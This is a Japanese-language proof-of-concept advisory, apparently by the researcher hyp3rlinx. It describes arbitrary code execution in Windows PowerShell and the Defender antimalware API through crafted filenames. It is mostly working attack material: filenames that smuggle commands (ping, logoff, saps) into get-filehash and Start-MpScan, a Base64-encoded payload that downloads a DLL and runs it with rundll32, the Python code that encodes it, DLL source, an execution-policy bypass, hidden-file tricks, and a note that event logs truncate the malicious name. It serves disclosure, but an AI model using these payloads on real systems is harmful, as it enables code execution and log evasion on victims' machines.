Windows PowerShell ファイル名と Defender アンチマルウェア API - コード実行 PoC
発見: John Page (別名 hyp3rlinx) 2019年、2023年に再訪
2023年12月24日更新
PowerShell でのコード実行における単一引用符の壁を回避し、さらに PS Windows イベントログの失敗!
セミコロンと友人の "&" 演算子が手を組み、任意のコード実行能力を発揮します。
不要なマルウェアを実行:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
または
Windows Defender アンチマルウェアスキャン:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Malware.exe が同じディレクトリに存在する場合、ドライブバイダウンロードを想定してください。
Windows イベントログの失敗: PS イベント ID 403 は、トランケーションのため実際のファイル名を記録できません。
PS ログの抜粋:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
ping コマンドを呼び出す? なぜやらない
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
被害者をログオフ:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
更新: 2023年12月7日、CL と Windows Defender API ベクターを追加。下記参照:
今でも動作するため、埃を払って小さな改良を加えました:
2019年に Microsoft に最初に報告されましたが、この記事の執筆時点でも修正されていません。
特別に細工されたファイル名によるリモートコード実行。
この欠陥はセミコロン ";" に起因します。PS1 ファイル名から直接 Base64 コマンドをデコードして実行したり、単にコマンドを実行したりできます。
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
すぐにコマンドを呼び出す
"Testing;saps (gc -) PoC;.ps1"
ベクター: ダブルクリック、PS ショートカットへのドラッグアンドドロップ
「saps」「gc」などの代替の省略 PS コマンド (プロセスの開始や get-content など) を活用します。
リモート DLL の「1.d」をダウンロードして実行しようとするトロイの木馬 PS1 ファイルを作成します。
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
DLL コード:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
トロイの木馬 PS1 ファイルをダブルクリックします。
「saps」(プロセスの開始) と「gc」(get-content) を含む名前の PS1 ファイルを作成すると、非表示ファイルからコマンドを読み取ります。
"Test;saps (gc -) PoC;.ps1"
非表示を作成: attrib +s +h "-"
ダブルクリックまたはドラッグアンドドロップ。
a) PowerShell PS1 ファイルが既定のプログラムとして PowerShell で開くように設定されている必要があります
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) ユーザーは悪意のある名前の PS1 スクリプトをダブルクリックするか、コマンドラインから実行するか、ドラッグアンドドロップする必要があります
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

更新: Microsoft Defender アンチマルウェア PowerShell API - 任意のコード実行。
Microsoft Defender アンチマルウェアや PS API は、任意のコードを実行する結果になる可能性があります。 例: ディレクトリ、.lnk ショートカット、さらには存在しない項目をスキャンすると、意図しないコードが実行される可能性があります。 このベクターは、以前のアドバイザリとその後のプロジェクト PSTrojanFile に基づいています。
要件:
例:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe はデスクトップにあります)
ディレクトリ ";saps Test" を作成し、Test.exe、Test.cmd などを同じコマンドラインパスに置きます
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
セミコロン付きのディレクトリを作成し、同じパスに doom.exe という名前の PE ファイルを置きます。
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
最後に重要:
PowerShell でファイルハッシュを取得するとログアウトされます :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08